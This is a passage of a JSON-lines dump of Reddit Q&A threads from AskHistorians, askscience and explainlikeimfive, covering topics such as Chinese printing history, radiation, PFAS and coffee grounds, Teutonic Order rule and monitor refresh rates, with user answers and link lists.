Pian, a Tang official, reports observing books about geomancy, astrology, lexicography, and divination being printed during his stay in Sichuan around 883. Thousands of copies of a work on alchemy by Tang official Hegan Ji were printed starting 847. \n\nPrinting continued to flourish under the Five Dynasties period (907\u2013960). Printing centers were established in Luoyang, Kaifeng, Nanjing, and Hangzhou. The first printed publications of Taoist and Confucian works also date from this period. The oldest Taoist work to be printed is a commentary by the Taoist monk Du Guangting dating from 913, and the Confucian classics were first printed in 953 under the supervision of prime minister Feng Tao through the National Academy. \n\nChinese print culture would reach greater heights under the Song dynasty. Printed books were produced in thirty locations during the Northern Song (960\u20131127), but by the Southern Song (1127\u20131279), they were produced in nearly two hundred locations, despite the Song dynasty having lost a large chunk of their territory to the Jurchens. This increase in the production of books benefited from government sponsorship and a growing commercial book industry. Printed books were now available in every subject imaginable, including works on medicine, agriculture, mathematics, dictionaries, literary anthologies, geography, novels, dramas, philosophy, and so on.\n\nThe Song dynasty also witnessed major technological advances in printing, most notably the invention of movable type by Bi Sheng. Bi Sheng used earthernware type for printing, which while notable for being the earliest known form of movable type that predates Gutenberg by 400 years, was overshadowed by Wang Zhen's invention of a practical wooden movable type. Not only did Wang pioneer wooden movable type, he also was responsible for mechanical innovations that significantly improved the speed of typesetting. Wang describes the process of producing wooden type in his *Nong Shu*, a treatise on agriculture:\n\n > Now, however, there is another method that is both more exact and more convenient. A compositor's forme is made of wood, strips of bamboo are used  to mark the lines and a block is engraved with characters. The block is then cut into squares with a small fine saw till each character forms a separate piece. These separate characters are finished offwith a knife on all four  sides,  and compared and tested till they are exactly  the  same height and  size. Then the  types  are placed in the columns [of the forme] and bamboo strips which have been prepared are pressed in between them. After the types have all been set in the forme, the spaces are filled in with wooden plugs, so that the type is perfectly firm and will not move. When the type is absolutely firm, the ink is  smeared on and printing begins.\n\nMetal movable type was first popularized in Ming dynasty China during the late 15th century. By then, Gutenberg had independently devised his own printing press. So what made Gutenberg's press distinct from Chinese movable type printing? /u/TheJucheisLoose has already mentioned the differences between the Roman alphabet and Chinese characters. Another is that Chinese movable type printing involved placing paper over the type and then \"brushing\" the ink onto the paper, whereas the Western printing press was a more efficient screw press.\n\nIn general, woodblock printing was more popular than movable type printing in China due to the financial investment of creating types for thousands of Chinese characters. This meant that movable type printing was typically limited to government-funded publications, because the costs were too high for private print shops. Another advantage of block printing was that block carvers did not need to be literate. They could carve around the outlines of characters without having to understand their meaning, whereas a typesetter had to at least know the alphabet in order to assemble lines of type. Woodblock carving also didn't require the metalworking skills necessary for producing metal type. Furthermore, after the blocks are carved, they could be used repeatedly with a negligible amount of additional labor costs.  To quote the Jesuit missionary Matteo Ricci (1552\u20131610):\n > Their method of printing has one decided advantage, namely, that once\nthese tablets are made, they can be preserved and used for making changes\nin the text as often as one wishes... with this method, the printer and\nthe author are not obliged to produce here and now an excessively large edi-\ntion of a book, but are able to print a book in smaller or larger lots sufficient\nto meet the demand at the time.\n\nThere were a few cases where movable type was a popular method for printing. A significant percentage of genealogies were produced using movable type, because the content typically consisted of a few distinct characters used repeatedly. Even then, a survey of Qing dynasty genealogies shows that 58% were block prints, 34% were manuscripts, and 18% were produced with either wooden or lead type.\n\nFor further reading, see:\n\nTsien, Tsuen-hsuin and Joseph Needham. *Science and Civilisation in China, Volume 5: Chemistry and Chemical Technology, Part I: Paper and Printing*. New York: Cambridge University Press, 1985.\n\nBrokaw, Cynthia. \"On the History of the Book in China\", *Printing and Book Culture in Late Imperial China*. Berkeley and Los Angeles: University of California Press, 2005.\n\nCarter, Thomas. *The Invention of Printing in China and its Spread Westwards*. New York: Columbia University Press, 1925. (This book is nearly a century old and outdated due to the work of Needham and others, but it was highly influential as one of the first Western works to thoroughly examine the history of Chinese printing. Amusingly, it was through Chinese translations of Carter's book that first exposed China to the importance of Gutenberg in the West.)\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://pages.ucsd.edu/~dkjordan/chin/mojicakes.html", "https://en.wikipedia.org/wiki/Say%27s_law", "https://en.wikipedia.org/wiki/Four_Great_Inventions", "https://en.wikipedia.org/wiki/Screw_press", "https://en.wikipedia.org/wiki/Jiyun", "https://en.wikipedia.org/wiki/Guangyun", "https://en.wikipedia.org/wiki/Leipian"], []]}
{"q_id": "4687ya", "title": "why does higher frequency em become more dangerous?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4687ya/eli5_why_does_higher_frequency_em_become_more/", "answers": {"a_id": ["d034a7g", "d03hojw", "d03ldcf"], "score": [19, 2, 5], "text": ["Because the energy in a photon is proportional to its frequency. Multiply frequency by ten and you multiply energy by ten, too. In the case of human life, it becomes dangerous once it has enough energy to disrupt biological molecules. \n\nUV can do a little bit of that, but won't penetrate the skin (so it causes sunburn). X-rays are worse, and gamma rays are quite capable of blasting a DNA molecule apart.", "Higher frequency implies higher energy. Once electromagnetic radiation reaches a certain energy level it becomes \"ionizing\" which means it has enough energy to free electrons from atoms and molecules (thus ionizing them).  \n \n\nIonizing radiation is very hazardous to life because at the right energy levels (like gamma radiation) the molecules that make up different tissues and their DNA can be damaged, causing radiation sickness, cancer, and death.", "Imagine an EM wave as a wave in a rope. One end is tied to a tree, and I hold the other. \n\nIf I lazily move the rope up and down there will be a very large wavelength and the peaks, valleys, and nodes will move slowly. \n\nIf I whip the rope up and down quickly, the frequency increases. \n\nI need to use more energy to create a high frequency wave, and that tells us that a high frequency wave carries more energy, and thus has more potential to do damage.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "vf9q5", "title": "Is it actually possible for someone's arm to be ripped completely off, as tv and movies would have us believe?", "selftext": "I've been seeing it a lot on tv recently and wondered if it was at all possible. Would it be a clean sever?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vf9q5/is_it_actually_possible_for_someones_arm_to_be/", "answers": {"a_id": ["c5409e1"], "score": [3], "text": ["Can it happen? Yes. Seen it a few times as an EMT at accident scenes.\n\nSuch disarticulations are rarely \"clean\" (at least the ones I have witnessed). The appendage, body, or both have ragged bits of tissue (muscle, tendons, ligaments, blood vessels, etc.) dangling."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "red8f", "title": "Is turning plastic into oil not efficient? [Video included]", "selftext": "I saw [this video](_URL_1_) on [TIL](_URL_0_) and I was wondering why this invention hasn't \"taken off\" and gotten more recognition. Is it just not an efficient process? A redditor mentioned that \"if it uses more energy than it produces in oil, then it becomes almost useless\" -- does anyone know whether this is the case? But even if this was the case, wouldn't drilling for oil, refining, etc still be more costly and more work than this invention?\n\nLink to the inventor's website: _URL_2_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/red8f/is_turning_plastic_into_oil_not_efficient_video/", "answers": {"a_id": ["c455632", "c455kxq", "c455vd6", "c456vik"], "score": [5, 10, 3, 3], "text": ["If this thing only works by vaporising the plastic then the water has a very simple, but very important purpose.\n\nBy heating the plastic up so it can be vaporised, you break the varoius different polymers into their constituent monomers. The water can then hydrolyse and/or oxidise them to form alkenes, alkynes, ketones and aldehydes.\n\nSince it's likely that the heating process isn't enough to completely break all the polymers into their monomers, but rather shorten molecule length to make them volatile, then i can see how one can get petrol, diesel and kerosene.\n\nI would assume the machine has some sort of catalyst, maybe platinum or paladium in order to do the cracking, but perhaps he may use cheaper catalysts such as manganese-nickel alloys, which are significantly cheaper and work nearly as well.\n\nNevertheless, it is impressive and chemically feasable.", "You have to consider the energy balance of the whole process, specifically, the [EROEI](_URL_0_), or Energy Returned On Energy Invested. \n\nConverting the plastic back to a petroleum-like substance takes energy. Does this newly formed substance contain more energy than was needed to produce it in the first place? If so, how much? If you get only one unit of energy out for every unit you put in (EROEI = 1:1), then you only have enough energy to sustain the process (assuming it is 100% efficient) and none to set aside for other applications. If it takes more energy to break down the plastic than you get from the oil produced from it, the EROEI is less than 1 and the whole venture is useless and counterproductive. \n\nOnly if excess energy is available does this become a useful process. A typical, high quality oil well today has an EROEI of about 20:1. For every barrel of oil energy equivalent we expend to extract the oil, we get 20 barrels of oil out of the ground. This means we have 1 barrel to keep the process running, and 19 more we can set aside for the rest of society to use. Because of inefficiencies in extraction/conversion systems and the broad specialization needed to keep our complex society functioning, it's been estimated that we need an average EROEI across all our energy ventures of roughly 6:1 to remain sustainable. As we use up the easy oil, the EROEI of substitute sources (like deepwater wells, tar sands and oil shale) gets worse and worse until it simply cannot sustain things at the level they are currently at. This is one of the real implications that peak oil has for us, and it is why finding liquid fuel substitutes is so difficult. We'll most likely need, among many other things, a combination of alternative fuels, simplified transportation infrastructure and localized supply chains in order to deal with this problem.\n\nedit: spelling/grammar\n\nedit 2: [Do the Math](_URL_1_) is a good resource that provides an easy to understand quantitative look at our alternative energy options and limits.", "What if enzymes were used to break down the plastic?", "It seems to me that the energy input of this device is just heat. Couldn't some of the oil produced by this process be used to run the process itself? "]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/todayilearned/comments/rdumo/til_in_japan_a_man_invented_a_machine_that/", "http://youtu.be/7P3aUANOYOI", "http://www.blest.co.jp/seihin-english.html"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Energy_returned_on_energy_invested", "http://physics.ucsd.edu/do-the-math/"], [], []]}
{"q_id": "a5j5gh", "title": "what is the difference between earnings per share and earnings per diluted share?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a5j5gh/eli5_what_is_the_difference_between_earnings_per/", "answers": {"a_id": ["ebmwwbb", "ebn04gr"], "score": [3, 2], "text": ["Diluted shares are promises to give someone new shares that are likely to be used.  Companies have several ways they can trade shares for things they want, like employees working there or a lower interest rate on their bonds.  It allows other investors to have a handy way of predicting how many shares there could be in the future and how that will affect the current owners share of the profits.  \n\nIt mostly includes options the company has made allowing others to buy shares (like employee stock options, or convertible bonds), and only includes them if the option price is \"in the money\" or below the current market price (in other words the person with the option could make money by exercising the option).  ", "Earnings per share is the company's earnings divided by the actual number of shares held by investors.  In diluted earnings per share, the company first looks at any obligation it has where someone has the right to force the company to issue it more shares in the future, then it pretends those shares are already issued, and calculates the earnings per share. \n\n & #x200B;\n\n Most often, these obligations are employee stock options, where the employee has the right to buy shares from the company, but hasn't yet exercised that right. It could also be a lender, who has the right to be paid in stock of the company defaults on the loan.  In both those cases, there is a possibility that shareholders will be \"diluted\" in the future.  For example, if a company has 1,000 outstanding shares, and I own 100, I own 10% of the company.  But if the company has given options to employees for 500 shares, and all those employees exercise them, there will be 1,500 outstanding shares, so my 100 shares will only be worth about 6% of the company."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5qzo3n", "title": "til potatoes have more chromosomes than humans, do they therefore have more genes?", "selftext": "According to [sources](_URL_0_) a potato has 24 chromosome pairs, compared to the human 23. I know most of the DNA is stored in them, so does that mean a potato requires more genes than a human? If so, is he more likely to mutate due to the higher number of genes?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5qzo3n/eli5_til_potatoes_have_more_chromosomes_than/", "answers": {"a_id": ["dd3df1w"], "score": [2], "text": ["It doesn't necessarily follow - some chromosomes have more genes on them than others, so more chromosomes doesn't necessarily mean more genes.\n\nBut in this case, yes, potatoes have more genes.\n\n[There are an estimated 19,000-20,000 human protein-coding genes](_URL_1_). Whereas, when it comes to the common commercial potato, [sequencing has been delayed by the genetic complexity... Its genome comprises more than 39,000 protein-coding genes](_URL_0_).\n\nEdit: fixed a typo"]}, "title_urls": [], "selftext_urls": ["http://www.walterreeves.com/uploads/chromosomesmtr.htm"], "answers_urls": [["http://www.nature.com/news/2011/110710/full/news.2011.407.html", "https://en.wikipedia.org/wiki/Human_genome"]]}
{"q_id": "1gc7fa", "title": "What environmental factors affect eye colour?", "selftext": "Wikipedia states:\n\n \"Eye color is determined primarily by the concentration and distribution of melanin within the iris tissues. Although the processes determining eye color are not fully understood, it is known that inherited eye color is determined by multiple genes. ***Environmental or acquired factors can alter these inherited traits.***\"\n\nWhat are these factors?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1gc7fa/what_environmental_factors_affect_eye_colour/", "answers": {"a_id": ["caj1foi"], "score": [2], "text": ["There's a disease that can cause a coppery-coloured band to appear in the iris, called Wilson's disease. Basically the liver can't process copper correctly in that disease so elemental copper starts getting deposited in the body's tissues."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "39suaf", "title": "What was life like as a civilian in territory controlled by the Teutonic Order, compared to in other German or Baltic states?", "selftext": "How did the Teutonic Order affect the population they ruled over, if at all?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/39suaf/what_was_life_like_as_a_civilian_in_territory/", "answers": {"a_id": ["cs686yj", "cs6sacw"], "score": [394, 6], "text": ["The answer varies a lot depending on whether you mean the original, \"Old Prussian\" inhabitants of the Teutonic Order's territory, or the later settlers. The following is based on *Preu\u00dfen ohne Legende* (1979) by Sebastian Haffner, which discusses the Teutonic Order as part of Prussia's \"prehistory\".\n\n**(EDIT: As others have pointed out, Haffner's description of the Order's crusade against the Old Prussians oversimplifies things. See the correction below.)**\n\nFor the Old Prussians, the arrival of the Teutonic Order means pure, unmitigated suffering. They're a pagan people, viewed by their German and Polish neighbours as primitive savages, and the Order wages a brutal crusade against them. Anyone who refuses to be baptised is put to the sword. Haffner: \n\n >  Heavily armed strangers burst into the land without provocation, demanded incomprehensible things in an incomprehensible language, and killed where they didn't find immediate obedience.\n\nThis goes on from 1226 to 1236. In 1260, the subjugated (and decimated) Old Prussians rise up against their conquerors; the Order's long campaign to suppress this revolt takes on a genocidal character. The Old Prussians are never exterminated entirely, but they're definitely on the brink.\n\nOn the ruins of the old Prussia, the Order establishes a new Prussian state with new Prussian people. They recruit settlers from various backgrounds: Germans, Poles, Kashubians, Masovians \u2013 as long as they're Christian.\n\nThe government of this new state is exceptionally modern for its day. Surrounded by feudal monarchies, the lands of the Order are instead ruled by a Grand Master, elected by the Order's knights, with a General Chapter acting as a council of ministers. Their territory is divided into provinces, each with a *Komtur* (governor) reporting to the central government. In a way, the religious knights of the Order act as paid civil servants.\n\nBound by monastic oaths of celibacy, the knights of the Order don't procreate; instead, they recruit new blood from Germany. Younger sons from German noble houses, eager for an alternative route to power and prestige, line up to join the Order. Haffner: \n\n >  [The Order] can pick and choose the best candidates, and for a long time, it is governed very well.\n\nAnd not only the Order itself attracts plenty of ambitious souls \u2013 their lands do, too. With plenty of fertile land whose original inhabitants have been violently wiped out, 14th-century Prussia is a \"land of opportunity\". (19th-century USA, anyone?) The new settlers work hard, and Prussia becomes the richest of the German colonies, with cities like Danzig and K\u00f6nigsberg growing quickly, and farmers enjoying much more wealth and liberty than in the surrounding feudal states.\n\nOver time, however, the emerging New Prussian elite grow resentful of the Order. The Order maintains its policy of recruiting only from the Holy Roman Empire, meaning that Prussian locals \u2013 no matter how wealthy or prestigious \u2013 are excluded from political power in their own land. They jealously look over the border, to the growing power of the aristocracy in the kingdom of Poland. When Poland eventually annexes West Prussia and vassalises the east in 1466, many Prussians welcome the change from the Order's strict government to looser Polish feudal rule.\n\n**TL;DR:** Crusades and genocide for the original inhabitants; prosperity and good governance \u2013 but no opportunities for a political career \u2013 for the later settlers.\n\n**EDIT/CORRECTION:** /u/shlin28 and /u/Samskii requested that I elaborate on the point of the Order's crusade against the Old Prussians, and cite more sources; there was some concern that Haffner's description, quoted above, was a \"sensationalised\" version of the story. So, I've done some reading around. While obviously my search is constrained by what's available for free online, this is what I've found:\n\n* The Teutonic Order came to Prussia at the request of Duke Conrad of Masovia. After repeated (peaceful and violent) attempts to christianise his Prussian neighbours, he called upon the Order for help in 1226. The Order was initially reluctant and it was not until 1230, when Conrad expanded his initial promises of land, that the knights of the Order actually arrived in Prussia.\n* Their conquest of Prussia was a more complex and gradual process than described above. It focused on three elements: construction of castles, settlement by Christian immigrants, and subjugation-slash-enslavement of the Old Prussians.\n* Officially, Christianisation \"by the sword\" (as Haffner describes) was not allowed; the knights of the Order were supposed to merely \"pacify\" the Prussians, and leave the missionary work to the Church. However, \"pacification\" is a term that can be interpreted widely. The knights repeatedly murdered Prussian men, took women and children prisoner, and burned down villages. **The sources I've managed to find neither confirm nor deny that the \"be baptised or die\" tactic was ever actually used**, though there are various unspecified references to \"violent missionary campaigns\".\n* The Prussians revolted not once, but twice: once from 1242 to 1249, and once from 1260 to 1274. At the end of the first revolt, the Pope promised life and freedom to Prussians who agreed to be baptised within a month, but ordered the expulsion of any who refused. Many Prussians only let themselves be baptised for show, and continued to practise the old rites in secret.\n* The Prussians recovered from their decimation by the Teutonic knights: by 1400, their population had recovered to more or less pre-conquest levels.\n* As early as the first revolt, the Teutonic knights started to figure out internal Prussian politics, and tried to play different \"factions\" within the Prussian aristocracy against each other, rather than treating the Prussians as a single monolithic enemy.\n\n**To sum up: The Teutonic knights did commit plenty of atrocities against the Old Prussians. However, the situation was more complex than Haffner describes. The Order didn't always treat all Prussians as mortal enemies, but also as slaves, second-class citizens, or even allies of convenience in different times and places. Needless to say, I apologise for presenting a less-than-solid claim in an /r/AskHistorians answer, and I'll make sure to study a topic more thoroughly before posting in the future.**\n\nSources:\n\n* J\u00fcrgen Sarnowsky: *[Der Deutsche Orden \u2013 Entwicklung und Strukturen im Mittelalter](_URL_1_)* (2000/2005)\n* Jonathan Bl\u00fcmel: *[Die Kriegsf\u00fchrung des Deutschen Ordens im Baltikum](_URL_3_)* (2012)\n* Reinhard Wenskus: *[Der deutsche Orden und die nichtdeutsche Bev\u00f6lkerung des Preu\u00dfenlandes mit besonderer Ber\u00fccksichtigung der Siedlung](_URL_2_)* (1975)\n* Klaus Wiegrefe: *[Gottesreich an der Ostsee](_URL_0_)* (2007)", "(Sorry, but English is not my native tongue)\n\nAs a second year Estonian history student, I've learned that Baltic-Germans built up a rigid class based system with ethnic borders. Locals were always the lowest of the low and towns (Tallinn/Reval, Tartu/Dorpat and P\u00e4rnu/Pernau) had always Baltic-German majority in them. During swedish rule (17th century) Swedish kings disliked how authoritarian local German nobility was. Teutonic order came to an end with Livonian war (end of 16th century), but Baltic-German nobles did not lose their positions.\n\nBasicaly, till 19 century, local non-Germans had awful living conditions, being serfs till 1816/18, completely non-serfs in 1860s. Estonia was completely occupied by the crusaders in 1221. After[J\u00fcri\u00f6\u00f6 Uprising (~1345)](_URL_0_) serfdom really started kicking in and was escalating in 18th century, under the Russian rule. J\u00fcri\u00f6\u00f6 was very violently repelled, it was written in a chronicle that Harju county was empty of life. After the crusades some of the Estonian nobles had their high position in Northren danish part, there is not much information about Southern-Estonia, but it is known that North was more prosperous. It's also worth mentioning that in Danish part, nobles/manor owners were mostly Balti-German. After J\u00fcri\u00f6\u00f6, none of the (supposed) Estonian noble families were left and Northren-Estonia was given to Teutonic Order.\nLocal non-Germans were mostly peasants, very few were craftsmen or were holding any other position. With Lutherian reformation, some got positions to be pastors/priests. Fishing on the seas was banned, peasants had no right to move, all the land was owned by nobles and standards of living were horrible. One travel writing from 18th century mentions that peasants houses were small, full of smoke, had dirt floors and animals were living inside the house.  \n\nTL;DR Local non Baltic-Germans had it bad for very long, things got worse over time, till 19th century. \n\nSource - Eesti Ajalugu/Estonian History by Seppo Settelberg"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.spiegel.de/spiegel/spiegelspecialgeschichte/d-52666747.html", "http://www1.uni-hamburg.de/Landesforschung/Literatur/Entwicklung1.htm", "http://journals.ub.uni-heidelberg.de/index.php/vuf/article/view/16225", "http://jbshistoryblog.de/2012/04/die-kriegsfuhrung-des-deutschen-ordens-im-baltikum/"], ["https://en.wikipedia.org/wiki/St._George%27s_Night_Uprising"]]}
{"q_id": "eyhnu5", "title": "As coffee grounds are adsorbent, does the process of making coffee remove pollutants (such as PFAS) from water? If so, to what extent compared to charcoal filtering?", "selftext": "The question occurred to me the other day when I noticed that the heavy chemical odor and taste of water in my city isn't detectable (to me) in coffee. I know that heating the water causes some of the treatment chemicals to evaporate out of the water, and that PFAS have a higher boiling point than water and thus are not eliminated via heating, but I'm also wondering how much of the bad stuff gets adsorbed by the coffee grounds. I couldn't find any studies, and the former use of PFAS in disposable coffee cups creates a lot of false-positive google searches. Any thoughts?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/eyhnu5/as_coffee_grounds_are_adsorbent_does_the_process/", "answers": {"a_id": ["fgia69d", "fgid53x", "fgifrt5", "fgijptk", "fgini7g", "fgivqfs", "fgjjqoi"], "score": [431, 24, 10, 39, 2, 4, 2], "text": ["To some extent, passing water through any absorbent material will reduce the amount of pollutants in it, but the extent depends heavily on how porous the filter substrate is and how finely ground it is.\n\nCharcoal filters work by having incredibly high surface area to volume ratios, and the carbon actively bonding with pollutants, so compared to their ability to capture things coffee's effect is negligible.\n\nIt's more likely that the reason you don't taste the chemical taste of treated water in your coffee is that the taste of coffee is so strong it masks it.", "I\u2019m not entirely sure about other pollutants, but I can tell you that you need a granulated activated carbon (GAC) filter at the least to get PFAS out. Unfortunately it\u2019s going to be up to your city to treat PFAS if it\u2019s in your water supply and there is little to be done to treat it for your personal supply at home", "Edit: i now see that i answered the wrong question. I can only guestimate that the interaction between coffee beans and PFAS is negliglent. But its likely not 0%, so better than nothing. This is assuming that you leave the ground beans in the cup of the coffee and let them interact. \n\nMany things to consider here.\n\n1. First and foremost, PFAS is considered in long- and short chained  depending on the molecules carbon chain lenght. The shorter ones (and branched isomers) are reluctant to adsorb to particles, while long ones are more willing to adsorb to particles and biomass.\n2. Secondly,  the willingness for particles to adsorb on surfaces are also determined by the opportunity for them to do so. IF we draw the resemblance between coffee grounds and GAC (granulated activated carbon), the coffee ground will have less ability than GAC to adsorb towards their surface. This is because GAC by definition is charcoal that is washed and has many more active sites to adsorb PFAS and other molecules.\n3. You need to consider 1, which might be able to estimate with kd, but its likely that PFAS will be a ration between adsorbed to cup and water. Hard to estimate. Such estimates are ultimately coefficients that are used when modeling PFAS flow and PFAS risk assessment in end-use of consumer products.\n4. Lastly, the PFAS is in the CUP, not the ground beans. Firstly the beans and water will be made and put in the cup. I dont think there will be many particles left for PFAS to adsorb to from the cup. I am aknowledging there might be starches or whatever organic molecules left in the cofee. But you need to do some research here and see what potential there is for PFAS to bind to those molecules.\n\n & #x200B;\n\n & #x200B;\n\nIl give you some sources to get starting, the last one is a fresh fresh one from Swedish make up. The first one is the basis of all PFAS introductions ever written to date.  And ur right, there seem to be very little information on the topic. It would be very easy to do this test in a lab if you are trying to pitch some kind of Bc. thesis project.\n\n & #x200B;\n\nThe eternal PFAS source for basics:\n\n[_URL_1_](_URL_1_)\n\nremoval of pfas from drinking water\n\n[_URL_3_](_URL_3_)\n\nGeneral consumer products\n\n[_URL_2_](_URL_2_)\n\nSource on PFAS in makeup in swedish market[_URL_4_](_URL_0_)", "Thank you, I learned a new word today.\n\nAdsorb \n\n(of a solid) hold (molecules of a gas or liquid or solute) as a thin film on the outside surface or on internal surfaces within the material.\n\n\"the dye is\u00a0adsorbed onto\u00a0the fiber\"", "Of course, activated charcoal would work better, but activated charcoal is effectively just carbon, and the coffee grounds are in large part just carbon as well.  You activate charcoal (in part) by heating it, and coffee beans are roasted.\n\nBut the coffee has other components besides carbon.  I mean, coffee releases chemicals into the water, otherwise you wouldn't get coffee, you'd just get hot water.\n\nCombine that with the fact that activated charcoal tends to release contaminants when heated, and with the coffee you're adding hot water, not cold.\n\nSo all in all, I'd say that the coffee grounds are absorbing some contaminants, but only a negligible amount.  They are also releasing other compounds, especially heavy metals.   Arsenic, aluminium, copper, tin, nickel and acrylamide are all released into coffee water although most are in trace amounts.  On the plus side the roasting process destroys all pesticides and burns off the mercury, so there's none of those in coffee (unless it's introduced by the water).", "My coffeemaker has a Granular Activated Charcoal cartridge that removes a bunch of stuff, including chloramines, from the water before brewing.  However, GAC flow-through filters are not effective at removing short-chain PFAS, and unless you are diligent about changing the filter, effectiveness drops.\n\nThe reason short-chain PFAS are not filtered by GAC systems is that there is too much space between the particles.  One method to overcome this is to use powdered activated charcoal, but then you also need to filter that out or clarify by other means.  \n\nThe point is that coffee grounds will not absorb PFAS.  I mean, if you were to roast them all the way to charcoal with an activator, then they would -- especially if powdered -- but at that point you just have activated charcoal :", "Cant speak to PFAS in particular but coffee grounds do have some decent filtering properties. They're commonly sited as a good filtration step in emergency survival water filters, and [here's a link to an article about a group of researchers using coffee-based sponges for the bioremediation of water contaminated with heavy metals.](_URL_0_). Sincd the coffee grounds are the active ingredient in that process I assume making coffee might slightly purify your water. That said I feel like if you're making drip coffee the surface area of your  grounds might be too low to really do much, but really finely ground espresso might actually be a pretty good filter."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://pubs.rsc.org/en/content/articlelanding/2018/EM/C8EM00368H?fbclid=IwAR3K78T-3kMZgvxmb2M-SJMEUvw_xfs-ClE4G-cm8qAwO8xk63HNK4fQgLw#!divAbstract", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3214619/", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4592498/", "https://www.ncbi.nlm.nih.gov/pubmed/28478297", "https://pubs.rsc.org/en/content/articlelanding/2018/EM/C8EM00368H?fbclid=IwAR3K78T-3kMZgvxmb2M-SJMEUvw\\_xfs-ClE4G-cm8qAwO8xk63HNK4fQgLw#!divAbstract"], [], [], [], ["https://www.popsci.com/foam-made-from-coffee-can-clean-contaminated-water/"]]}
{"q_id": "v35io", "title": "Are there any other possible origins of the Hunnic language other than Turkic?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/v35io/are_there_any_other_possible_origins_of_the/", "answers": {"a_id": ["c50ww1f"], "score": [3], "text": ["You might want to crosspost this question to /r/linguistics. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "40ubtw", "title": "What kinds of things could I expect to find in a cabinet of curiosities?", "selftext": "Time period - around 1600, give or take a hundred years\nRegion - Mainland Europe and England", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/40ubtw/what_kinds_of_things_could_i_expect_to_find_in_a/", "answers": {"a_id": ["cyxvwi9"], "score": [4], "text": ["We can take a look at one of the most famous cabinets of curiosities: that of Ole Worm, in Denmark about the time you're mentioning.  [Here is a woodcut of the inside of his cabinet](_URL_2_).  As we can see, the cabinet contains a wide variety of items, from natural phenomena such as taxidermized animals and fossils to artifacts from faraway countries and ancient peoples (mostly from the New World in his case, so a lot of Native American stuff).\n\nIn the beginning, the majority of the cabinet would likely have been natural phenomena, such as shells, taxidermied animals, bones, horns, and fossils.  The earliest depiction of such a cabinet can be seen [here](_URL_0_). and we can see that it is heavily reliant on natural phenomena.  Later versions of the cabinet might include works of art as well as the aforementioned natural phenomena and artifacts.  [Here is a later 17th century painting of part of a cabinet](_URL_1_) which depicts a lot of art as well as shells and ancient coins.\n\nOne thing that you might find in a *K\u00fcnstkammer* would be a \"thunderstone\".  These were flint points (Paleolithic tools such as arrowheads, spear points, or axes), but people of the time believed they were embedded in the ground by lightning and had magical properties.  It was actually the collection of these \"thunderstones\" and the comparison of them to tools brought to a *K\u00fcnstkammer* from the New World that enlightened scholars as to their actual use as tools by very ancient people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/f/f3/RitrattoMuseoFerranteImperato.jpg", "https://upload.wikimedia.org/wikipedia/commons/0/04/Frans_Francken_%28II%29%2C_Kunst-_und_Rarit%C3%A4tenkammer_%281636%29.jpg", "https://upload.wikimedia.org/wikipedia/commons/f/f5/Musei_Wormiani_Historia.jpg"]]}
{"q_id": "1ylxym", "title": "when i google something and click through a result, if i click back, google sometimes clears the search bar and i have to type my search again. why?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ylxym/eli5_when_i_google_something_and_click_through_a/", "answers": {"a_id": ["cflpa5x", "cflqyzt"], "score": [3, 2], "text": ["Happens to me too. I'm using FF on Ubuntu if that matters. The strange thing is that in the address bar, the correct address is there from the search. I can usually f5 it to load the page back. ", "The subtleties of the 'back' button are can be altered by interactive web applications, but your web browser determines a lot of it.\n\nFor example, FF and Safari/Chrome tend to pre-populate pages with your selections/text boxes on back, whereas IE has tended to reset them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "d4xbtr", "title": "how can we discern the difference between 144hz and 60hz monitors if we can\u2019t discern the 60hz oscillation of lights in our homes?", "selftext": "Edit: as a couple people pointed out, the flicker would typically be 120 Hz for lights connected to US AC mains power because of the way bridge rectifiers, etc work. The voltage crosses 0 V twice per cycle. \n\nAdditionally, the type of light source will influence how much flicker, if any occurs. \n\nI mentioned in a thread below (and later someone used the phrase), but this wiki article is helpful, though not exactly ELI5: _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d4xbtr/eli5_how_can_we_discern_the_difference_between/", "answers": {"a_id": ["f0he0yg", "f0hhco9", "f0hmr08", "f0hnmde", "f0hxkmp", "f0j7ubb"], "score": [21, 77, 12, 2, 2, 3], "text": ["Your lights are not flickering at 60 Hz. \n\nEither they are light sources that can't be turned on and off that fast, for example old-fashioned incandescent bulbs. The incandescent bulb filament can't cool down in in 1/120th of a second, so it is still lit during the zero crossing of the mains current.  \n\nOr, if you have modern LED lightbulbs, they contain rectifiers and capacitors that convert the mains AC to a nice, smooth DC.", "Lights don't oscillate at 60 - the light goes through a full cycle at 60, which includes two pulses - one positive, and one negative.\n\nAnd if you do find a light source that reacts strongly to the mains, like old style fluorescent 